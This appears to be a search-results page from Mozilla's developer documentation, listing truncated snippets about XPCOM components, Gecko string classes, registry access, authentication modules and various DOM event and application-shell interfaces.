...e publicity stream in any way (please use your own server for any in-app social aspects). it is suggested that the list be processed and condensed into an attractive, cohesive format for users (eg., multiple tweets show as 'adam tweeted 4 times'). onsuccess will be called with a single argument: a json list of the current user's socially relevant app activity in the fixme: deadlinkactivity streams open specification. onerror is an error callback that will be invoked if the installation fails. possible error codes include: denied - if the user does not log in correctly permissiondenied - if the site is not allowed to access the publicity stream networkerror - if the publicity server is unreachable for_apps is a json list of apps that this store has (each represented as it...
Accessing the Windows Registry Using XPCOM
to this end, there exist xpcom interfaces to read and write registry data. this article will show you how to use the available interfaces in several mozilla products. the examples in this document are all written in javascript using xpcom. support in firefox 1.5 or newer in firefox 1.5, a new api was added, nsiwindowsregkey, which provides extensive registry functionality. ...
...ions, you may want to enumerate a number of keys or values whose names you do not know. the nsiwindowsregkey interface provides the childcount, getchildname(), valuecount, and getvaluename() properties and methods for enumerating keys and values respectively. you can use these methods to read a list of values or recursively access a branch of the registry. this example reads all the startup programs in one key of the registry. var wrk = components.classes["@mozilla.org/windows-registry-key;1"] .createinstance(components.interfaces.nsiwindowsregkey); wrk.open(wrk.root_key_local_machine, "software\\microsoft\\windows\\currentversion\\run", wrk.access_read); for (var i=0; i<wrk.valuecount; i++) { var name = wrk.getvaluename(i); var value = readregistr...
Bundling multiple binary components
roach is to figure out all the methods imported from gecko and dynamically load the methods. create small wrappers for calling the methods, as you may need to thunk parameters depending on how much has changed between gecko versions. this means using something like loadlibrary / getprocaddress / freelibrary on windows. actually, nspr has portable versions of those features that work across platforms. this approach uses only one binary for each platform (win/mac/linux) but creates complexity in the binaries - loading the methods and creating the wrappers. the costs get higher if you have many methods that need to be loaded. stub loader this approach involves using a stub loader component. the stub component is an xpcom component itself and when registered by xpcom, the code would sniff the...
...nd os platform. the real components are not in the "components" folder, but are in a side folder ("libraries" in the sample). the real components are manually loaded and registered using the stub ("krealcomponent" in the sample). this approach uses one binary component for each version of gecko and platform, plus the stub loader component therefore, to support 2 gecko versions on three platforms, you need seven components (6 real components + 1 stub). on the other hand, this approach is much more simple than the dynamic loading approach. the stub component can be either binary or javascript, but it is far easier in javascript is cross-platform and does not have compile- or load- time compatibility problems. the gears project contains an example of a javascript-based stub loader. ...
Finishing the Component
t iid for any change in the interface is not a good idea either. when using frozen interfaces, you are guaranteed compatibility with future versions of gecko. the only trouble occurs when the compiler itself changes its v-table layout, which can happen when the compiler changes its abi. for example, in 2002 the gnu compiler collection (gcc), version 3.2 changed the c++ abi, and this caused problems between libraries compiled with gcc 3.2 and applications compiled with an earlier version and vice versa. similar problems occurred with gcc 4.0, which underwent similar abi changes. before attempting to use unfrozen interfaces, you should contact the developers who are responsible for the code you're trying to use (i.e., module owners) and ask them how best to do what you are trying to do. be ...
...basic creation of what is commonly referred to as a "browser helper object" like weblock. the next chapter looks at how to tie this into the front end - specifically, how to use xpconnect to access and control this component from javascript in the user interface. « previousnext » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder. ...
Preface
arly. format description bold component names appear in bold in the text monospace code listings, interface names and members of interfaces (e.g., createinstance()) appear in monospaced font. lines of code are placed in separate boxes. additionally, filenames and directories appear in monospaced font. italic variables appear in italic. important terms and new concepts are also italicized the first time they appear in the text. those terms are either explained immediately after they are cited, or else the reader is referred to a section in the book where they are described in detail. link references to other sections and to figures and tables are links to those sections. acknowledgements thanks to peter lubczynski, john gaun...
...figures and tables are links to those sections. acknowledgements thanks to peter lubczynski, john gaunt, ellen evans, and alec flett for technical reviews. a special thanks goes to darin fisher for his very acute observations, close reading, and attention to detail. next » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder. ...
How to build a binary XPCOM component using Visual Studio
ft’s free visual c++ express and the sample project in the next paragraph. you could try to use a different vendor's compiler, but you are going to need to build the sdk from source code. not the simplest thing to do and it may be incompatible with production releases of firefox, thunderbird, and xulrunner from mozilla. ...
... which has a pre-built sdk at gecko-sdk-win32-msvc-1.8.0.4.zip. extract the sdk to a folder. the tutorial assumes the folder is called xulrunner-1.8.0.4, but you can call yours whatever you want. you also need a couple of pre-built libraries (glib-1.2.dll & libidl-0.6.dll) from the wintools.zip archive. copy glib-1.2.dll & libidl-0.6.dll into the bin subfolder of gecko-sdk. note: wintools.zip seems old and lots of newer mdc documentation refers to moztools.zip archive, but the version of xpidl.exe that comes with the gecko-sdk crashes with the dll’s from moztools. recap: use the right gecko sdk for your xulrunner release use a microsoft compiler use pre-built glib-1.2.dll & libidl-0.6.dll libraries from wintools.zip download the sample project here is what the folder structure looks...
Components.utils.importGlobalProperties
using this api you can import these objects into such a system scope. this function is not intended for sandboxes but for system-privileged scopes. to import these objects into a sandbox, use the wantglobalproperties option in the sandbox constructor. this function is passed an array of strings. each string is the name of an object to import, and will be defined on the importing scope's global. ...
... syntax void components.utils.importglobalproperties([string1, string2, ...]); parameters [string1, string2, ...] an array of strings. ...
NS_NewNativeLocalFile
system path. this string should be encoded using ascii or the multibyte character coding corresponding to the native filesystem. this path does not need to reference an existing file. it is an error to pass a relative filesystem path. afollowlinks [in] this attribute will determine if the nsilocalfile instance will automatically resolve symbolic links. this parameter has no effect on unix systems. on windows, passing true causes shortcuts to be automatically resolved, and on macos, passing true causes finder aliases to be automatically resolved. aresult [out] a reference to the newly created nsilocalfile instance. return values the ns_newnativelocalfile function returns ns_ok if successful. otherwise, it returns an error code. ns_error_file_unrecognized_path indicates that the sp...
...omatically resolved. aresult [out] a reference to the newly created nsilocalfile instance. return values the ns_newnativelocalfile function returns ns_ok if successful. otherwise, it returns an error code. ns_error_file_unrecognized_path indicates that the specified path is invalid. this error is returned if a relative file path is passed to ns_newnativelocalfile. remarks on unix systems, the prefix "~/" is supported as a shorthand for the user's home directory. if you use this function on windows 2000 or later, you would not be able to handle file names containing characters outside the default code page even though the os has no problem dealing with them. do not use this function (on windows) unless it is guaranteed that the full path involved is always ascii. example code /...
Folders
rss feeds are implemented by nslocalmailfolder. each line in the folder pane corresponds to a folder object. ...
...rss feeds are implemented by nslocalmailfolder. each line in the folder pane corresponds to a folder object. ...
NS_ConvertASCIItoUTF16
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
NS_ConvertUTF16toUTF8
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
NS_ConvertUTF8toUTF16
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
NS_LossyConvertUTF16toASCII
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
nsAdoptingCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
nsAdoptingString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
nsAutoString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
nsCAutoString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compres...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compres...
nsCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
nsDependentCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
nsDependentString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
nsFixedCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
nsFixedString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
nsPromiseFlatCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
nsPromiseFlatString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
nsString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
nsXPIDLCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
nsXPIDLString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace v...
... @param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbo...
mozIPlacesAutoComplete
yped pages. behavior_javascript 1 << 6 search javascript: urls. behavior_openpage 1 << 7 search for pages that have been marked as being opened, such as a tab in a tabbrowser. methods registeropenpage() mark a page as being currently open. note: pages will not be automatically unregistered when private browsing mode is entered or exited. ...
...void unregisteropenpage( in nsiuri auri ); parameters auri the uri to unregister as an open page. ...
mozIStorageStatementWrapper
); attributes attribute type description statement mozistoragestatement the statement that is wrapped. row mozistoragestatementrow the current row. throws an exception if no row is currently available. useful only from script. the value of this is only valid while the statement is still executing, and is still on the appropriate row. params mozistoragestatementparams the parameters; these can be set in lieu of using the call notation on this. methods initialize() this method initializes this wrapper with astatement. void initialize( in mozistoragestatement astatement ); parameters astatement the statement to be initialized. reset() this method resets the wrapped statement. void reset(); parameters none.
...void reset(); parameters none. ...
nsIAccessibleRetrieval
create a new accessible of the appropriate type if necessary, or use one from the accessibility cache if it already exists. nsiaccessible getaccessiblefor( in nsidomnode anode ); parameters anode the dom node to ge...
...ccessible relation type constant. return value accessible relation type presented as human readable string. getstringrole() returns accessible role as a string. astring getstringrole( in unsigned long arole ); parameters arole the accessible role constants. return value accessible role as a string. getstringstates() returns a list which contains accessible states as strings. nsidomdomstringlist getstringstates( in unsigned long astates, in unsigned long aextrastates ); parameters astates accessible states. aextrastates accessible extra states. return value a list which contains accessible states as strings. see also mozilla access nsiaccessible nsiaccessnode ...
nsIAccessibleSelectable
dule and in-process accessibility clients for dealing with getting and changing the selection of accessible nodes. inherits from: nsisupports last changed in gecko 1.7 method overview void addchildtoselection(in long index); void clearselection(); nsiarray getselectedchildren(); boolean ischildselected(in long index); nsiaccessible refselection(in long index); void removechildfromselection(in long index); boolean selectallselection(); attributes attribute type description selectioncount long the number of accessible children currently selected. read only. constants constant value description eselection_add 0 eselection_remove 1 eselection_getstate 2 methods addchildtoselection() adds the specified accessible child of the object to the object'...
...rameters index the zero-based accessible child index. return value true if the child is selected, false if not. refselection() returns a reference to the accessible object representing the specified selected child of the object. nsiaccessible refselection( in long index ); parameters index zero-based selected accessible child index. return value the selected accessible child. removechildfromselection() removes the specified child of the object from the object's selection. if the specified object was not selected, then it does nothing. void removechildfromselection( in long index ); parameters index zero-based accessible child index. exceptions thrown ns_error_failure if the specified object is not selectable. selectallselection() select all children. boolean selectallselection(...
nsIAnnotationService
n, out autf8string amimetype, out unsigned short atype); pruint16 getpageannotationtype(in nsiuri auri, in autf8string aname); pruint16 getitemannotationtype(in long long aitemid, in autf8string aname); void getpageswithannotation(in autf8string name, [optional] out unsigned long resultcount, [retval, array, size_is(resultcount)] out nsiuri results); void getitemswithannotation(in autf8string name, [optional] out unsigned long resultcount, [retval, array, size_is(resultcount)] out long long results); void getpageannotationnames(in nsiuri auri, [optional] out unsigned long count, [retval, array, size_is(count)] out nsivariant result); void getitemannotationnames(in long long aitemid, [optional] out unsigned long count, [retval, array, size...
...nts defined above. getpageswithannotation() this method returns a list of all uris having a given annotation. void getpageswithannotation( in autf8string name, [optional] out unsigned long resultcount, [retval, array, size_is(resultcount)] out nsiuri results ); parameters name the annotation name. resultcount optional count of uris. results returns the list of all uris. getitemswithannotation() this method returns a list of all items having a given annotation. void getitemswithannotation( in autf8string name, [optional] out unsigned long resultcount, [retval, array, size_is(resultcount)] out long long results ); parameters name the annotation name. resultcount optional count of items. results returns the list of all items. getpageannotationnames() th...
nsIAppShell
eventqueue( in nsieventqueue aqueue, in prbool alisten ); parameters aqueue the queue in question. alisten pr_true for a new queue wanting hooking up. pr_false for a queue wanting to be unhooked. resumenative() resumes the use of additional platform-specific methods to run() gecko events on the main application thread. calls to suspendnative() and resumenative may be nested. on some platforms this will be a no-op. void resumenative(); parameters none. run() enter an event loop. do not leave until exit() is called. void run(); parameters none. runinstablestate() allows running of a "synchronous section", in the form of an nsirunnable once the event loop has reached a "stable state". a stable state is reached when the currently executing task/event has finished, (see: webappapis.html#...
... 3) prepare to stop processing events. void spindown(); parameters none. spinup() obsolete since gecko 1.9 (firefox 3) prepare to process events. void spinup(); parameters none. suspendnative() suspends the use of additional platform-specific methods (besides the nsiappshell->run() event loop) to run gecko events on the main application thread. under some circumstances these "additional methods" can cause gecko event handlers to be re-entered, sometimes leading to hangs and crashes. calls to suspendnative and resumenative() may be nested. on some platforms (those that do not use any "additional methods") this will be a no-op. does not (in itself) stop gecko events from being processed on the main application thread. but if the nsiappshell->run() event loo...
nsIAppShellService
note: prior to gecko 8.0, all references to nsidomwindow used in this interface were nsidomwindowinternal. attributes attribute type description applicationprovidedhiddenwindow boolean return true if the application hidden window was provided by the application. if it was not, the default hidden window was used. this will usually be false on all non-mac platforms. read only. hiddendomwindow nsidomwindow return the (singleton) application hidden window, automatically created and maintained by this appshellservice. read only. hiddenwindow nsixulwindow return the (singleton) application hidden window, automatically created and maintained by this appshellservice. read only. nativeappsupport nsinativeappsupport get...
...() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) during application startup (and at other times!) we may temporarily encounter a situation where all application windows will be closed but we do not want to take this as a signal to quit the application. bracket the code where the last window could close with these. (and at application startup, on platforms that do not normally quit when the last window has closed, call enter once, but not exit) void enterlastwindowclosingsurvivalarea(); parameters none. exitlastwindowclosingsurvivalarea() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) void exitlastwindowclosingsurvivalarea(); parameters none. native code only!gethiddenwindowandjscontext ...
nsIApplicationCacheNamespace
itemtype unsigned long a bit field indicating one or more namespace types. must be one or more of the constants defined under constants on this page. read only. namespacespec acstring the prefix of this namespace. this should be the asciispec of the uri prefix. read only. ...
...age. read only. namespacespec acstring the prefix of this namespace. this should be the asciispec of the uri prefix. read only. constants constant value description namespace_bypass 1 items matching this namespace can be fetched from the network when loading from this cache. the data attribute is not used. namespace_fallback 2 items matching this namespace can be fetched from the network when loading from this cache; however, if the load fails, the cache entry specified by the data attribute should be loaded intstead. namespace_opportunistic 4 items matching this namespace should be cached opportunistically. successful top-level loads of resources in this namespace should be placed into the application cache. ...
nsIAsyncStreamCopier
ts the copy operation. the specified observer is notified when the copy completes. void asynccopy( in nsirequestobserver aobserver, in nsisupports aobservercontext ); parameters aobserver receives notifications. aobservercontext the object to receive notifications with information about the progress of the copy operation. init() initializes the stream copier. note: at least one of the streams must be buffered. void init( in nsiinputstream asource, in nsioutputstream asink, in nsieventtarget atarget, in boolean asourcebuffered, in boolean asinkbuffered, in unsigned long achunksize, in boolean aclosesource, in boolean aclosesink ); parameters asource contains the data to be copied. asink specifies the destination for the data. atarget specifies the thread on which the ...
...rmitted and causes the copy to occur on an unspecified background thread. asourcebuffered true if asource implements nsiinputstream.readsegments(). asinkbuffered true if asink implements nsiinputstream.writesegments() . achunksize specifies how many bytes to read and write at a time. this controls the granularity of the copy operation. this value should match the segment size of any buffered streams involved in the operation. aclosesource true if asource should be closed after copying. aclosesink true if asink should be closed after copying. see also nsiinputstream nsioutputstream ...
nsIAuthModule
ice name, which may be null if not applicable (for example, for ntlm, this parameter should be null). aserviceflags a bitwise-or of the req_ constants (pass req_default for default behavior). adomain the authentication domain, which may be null if not applicable. ausername the user's login name. apassword the user's password. unwrap() this method is used to unpack, decrypt, and verify the checksums on data returned by a server when security layers are in use. void unwrap( [const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength ); parameters aintoken a buffer containing the data received from the server. aintokenlength the length of the input token. aouttoken a buffer containing the plaintext data from the server. aoutt...
...ext data from the server. aouttokenlength the length of the output token buffer. exceptions thrown ns_error_not_implemented if the underlying authentication mechanism does not support security layers. wrap() once a security context has been established through calls to getnexttoken() it may be used to protect data exchanged between client and server. calls to this method are used to protect items of data to be sent to the server. void wrap( [const] in voidptr aintoken, in unsigned long aintokenlength, in boolean confidential, out voidptr aouttoken, out unsigned long aouttokenlength ); parameters aintoken a buffer containing the data to be sent to the server. aintokenlength the length of the input token. confidential if set to true, it will encrypt the data, otherwise data will...
nsIConsoleService
logging a message with additional information to include other information an nsiconsolemessage object must be...
... logging a message with additional information to include other information an nsiconsolemessage object must be used. ...
nsIDOMGeoPositionAddress
vice being used. 1.0 66 introduced gecko 1.9.2 obsolete gecko 14.0 inherits from: nsisupports last changed in gecko 11 (firefox 11 / thunderbird 11 / seamonkey 2.8) this object is obtained from an nsidomgeopositionaddress object via its address attribute. note: this needs to be moved into the dom reference. attributes attribute type description city domstring the city. read only. country domstring the country. read only. countrycode obsolete since gecko 11 domstring removed in firefox 11, since it isn't defined in the specification; use country instead. county domstring the county. read only. postalcode domstring the postal or zip code. read only. premises domstring the premises. read only. region domstring the region. read only. st...
...he city. read only. country domstring the country. read only. countrycode obsolete since gecko 11 domstring removed in firefox 11, since it isn't defined in the specification; use country instead. county domstring the county. read only. postalcode domstring the postal or zip code. read only. premises domstring the premises. read only. region domstring the region. read only. street domstring the street of the address. read only. streetnumber domstring the street number of the address. read only. historical note, which is likely of no interest to most readers: the types of the attributes below all changed from string to domstring in gecko 1.9.2 beta 5. see also using geolocation ...
nsIDOMMouseScrollEvent
criptable this interface represents a mouse scroll wheel event. 1.0 66 introduced gecko 1.9.1 inherits from: nsidommouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) gecko 1.9.2 note prior to gecko 1.9.2, this inherited from nsisupports instead of from nsidommouseevent. ...
...s changed; this will be either horizontal_axis or vertical_axis. read only. constants constant value description horizontal_axis 1 the horizontal (x) axis. vertical_axis 2 the vertical (y) axis. methods initmousescrollevent() initializes the progress event object. ...
nsIDOMMozTouchEvent
t touch events can be generated independently for each finger touching the screen. this lets you process multi-finger touch gestures and actions. dom/interfaces/events/nsidommoztouchevent.idlscriptable please add a summary to this article. ...
...description streamid unsigned long a unique identifier for each finger, so that each finger's movement can be tracked separately. this is a random number that is guaranteed to remain the same for each finger during all moztouchmove events between the corresponding moztouchdown and moztouchup events. methods initmoztouchevent() initializes the touch event. ...
nsIDOMOrientationEvent
n be delivered to dom windows, providing information from the device's accelerometer, allowing code to determine the orientation of the device. dom/interfaces/events/nsidomorientationevent.idlscriptable please add a summary to this article. last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsidomevent method overview void initorientationevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg, in double x, in double y, in double z); attributes attribute type description x double the amount of tilt along the x axis. read only. y double the amount of tilt along the y axis. read only. z double the amount of tilt along the z axis. read only. the values of x, y, and z can rang...
...e x axis. read only. y double the amount of tilt along the y axis. read only. z double the amount of tilt along the z axis. read only. the values of x, y, and z can range from -1 to 1, where 0 means the device is balanced on that axis. see accelerometer values explained for details. methods initorientationevent() initializes the orientation event object. void initprogressevent( in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg, in double x, in double y, in double z ); parameters eventtypearg the type of event. must be "mozorientation". canbubblearg specifies whether or not the created event will bubble. cancelablearg specifies whether or not the created event can be canceled. x the amount of tilt along the x axis. y the amount of tilt alon...
nsIDOMProgressEvent
nt last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsidomprogressevent is used in the media elements (<video> and <audio>) to inform interested code of the progress of the media download. this implementation is a placeholder until the specification is complete, and is compatible with the webkit progressevent. method overview void initprogressevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in boolean lengthcomputablearg, in unsigned long long loadedarg, in unsigned long long totalarg); deprecated since gecko 22.0 attributes attribute type description lengthcomputable boolean specifies whether or not the total size of the transfer is known. read only. loaded unsigned lo...
... during the operation. if the total size is unknown, this value is zero. read only. methods initprogressevent() deprecated since gecko 22.0 this method has been removed from use in javascript in gecko 22.0. use the regular constructor to construct a synthetic progressevent. it still is usable from native c++ code. initializes the progress event object. void initprogressevent( in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in boolean lengthcomputablearg, in unsigned long long loadedarg, in unsigned long long totalarg ); parameters typearg the type of event. must be one of "abort", "error", "load", "loadstart", or "progress". canbubblearg specifies whether or not the created event will bubble. cancelablearg specifies whether or not ...
nsIDOMUserDataHandler
dom/interfaces/core/nsidomuserdatahandler.idlscriptable the callback function for the setuserdata method. 1.0 66 introduced gecko 1.5 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void handle(in unsigned short operation, in domstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst); constants constant value description node_cloned 1 the node was cloned. node_imported 2 the node was cloned into a new document. node_deleted 3 unimplemented node_renamed 4 unimplemented node_adopted 5 the node was adopted into a new document. methods handle() this method is a callback which will be called if a node with user data is being cloned, imported or adopted. void handle( in unsigned short op...
... node_cloned 1 the node was cloned. node_imported 2 the node was cloned into a new document. node_deleted 3 unimplemented node_renamed 4 unimplemented node_adopted 5 the node was adopted into a new document. methods handle() this method is a callback which will be called if a node with user data is being cloned, imported or adopted. void handle( in unsigned short operation, in domstring key, in nsivariant data, in nsidomnode src, in nsidomnode dst ); parameters operation one of the node_* operation type constants from the above table. key the key that was used to set the user data. data the data that was set on the original node. src the original node. dst the new node, for clone and import operations. ...
nsIDialogParamBlock
wwatcher/public/nsidialogparamblock.idlscriptable an interface to pass strings, integers and nsisupports to a dialog. inherits from: nsisupports last changed in gecko 1.7 method overview print32 getint( in print32 inindex ); wstring getstring( in print32 inindex ); void setint( in print32 inindex, in print32 inint ); void setnumberstrings( in print32 innumstrings ); void setstring( in print32 inindex, in wstring instring); attributes attribute type description objects nsimutablearray a place where you can store an nsimutablearray to pass nsisupports. methods getint() get a previously set integer. print32 getint( in print32 inindex ); parameters inindex the index of the integer to get. mu...
...ndex, in print32 inint ); parameters inindex the index of the integer to set. must be in the range 0..7. inint the integer to set at the given index. setnumberstrings() set the maximum number of strings to pass. default is 16. use before setting any string (if you want to change it from the default). this method can only be called once. void setnumberstrings( in print32 innumstrings ); parameters innumstrings the new maximum number of strings to pass. setstring() void setstring( in print32 inindex, in wstring instring ); parameters inindex the index of the string to set. must be in the range 0..15 unless setnumberstrings was called. instring the string to set at the given index. ...
nsIDragService
